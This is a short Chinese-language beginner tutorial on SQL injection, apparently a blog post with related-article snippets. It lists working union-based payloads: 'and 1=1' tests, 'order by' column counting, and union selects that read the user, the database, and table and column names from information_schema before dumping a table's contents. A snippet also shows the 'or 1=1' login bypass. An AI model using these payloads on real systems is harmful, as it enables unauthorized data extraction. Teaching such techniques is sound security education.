sql注入入門

2022-08-29 02:45:11 字數 1264 閱讀 7775

一、判斷注入型別

一般查詢語句,字元型和數值型

1.+-數值,如1+1,1+2

2.後面新增『1 and 1 = 1' 和 』1 and 1 = 2' 進行查詢,若1=1返回正確而1=2返回錯誤則為數值型

3.加'#,若返回正確則為字元型

二、查列數(有待考證)

order by num

num為數值

三、確定字段位置

select  * from auth_user where username = 'lisi' and 1 = 2 union select 1,2,3,4,5,6,7,8,9,10,11;

and 1=2是為了避免一些只顯示一行的頁面過濾掉後面的聯合查詢的資料,所以讓前面的查詢條件永遠為false

union就是合併操作,完整語義就是使用union合併兩個select的結果集,前者為空

四、獲取資料庫資訊

database():檢視當前資料庫名稱 

version():檢視資料庫版本資訊 

user():返回當前資料庫連線的使用者 

char():將ascii碼轉化成字元,用於分隔每個欄位的內容

select  * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,11;

查詢所有表名

select  * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,table_name from information_schema.tables where table_schema = 'guest';

獲取表所有的欄位名

select  * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,column_name from information_schema.columns where table_name = 'sign_guest';

獲取字段所有內容

select  * from auth_user where username = 'lisi' and 1 = 2 union select user(),database(),3,4,5,6,7,8,9,10,realname from sign_guest;

sql注入入門

參考文章 正常的語句 select from users where username marcofly and password md5 test 異常操作 在使用者名稱輸入框中輸入 or 1 1 密碼隨便輸入,這時候的合成後的sql查詢語句為 select from users where us...

SQL注入入門

sql注入漏洞的產生需要滿足一下兩個條件 引數使用者可控 前段傳給後端的引數內容是由使用者可以控制的。引數帶入資料庫查詢 傳入的引數拼接到sql語句,並且帶入資料庫查詢。例如 select from users where id 1 這不符合語法規範所以會報錯。當傳入id的引數為 and 1 1時 ...

「SQL注入「 入門基礎原理

1.sql 注入 sql 注入攻擊是通過將惡意的 sql 查詢或新增語句插入到應用的輸入引數中,再在後台 sql 伺服器上解析執行進行的攻擊,它目前黑客對資料庫進行攻擊的最常用手段之一。2.web 程式三層架構 a.介面層 user inte ce layer b.業務邏輯層 business lo...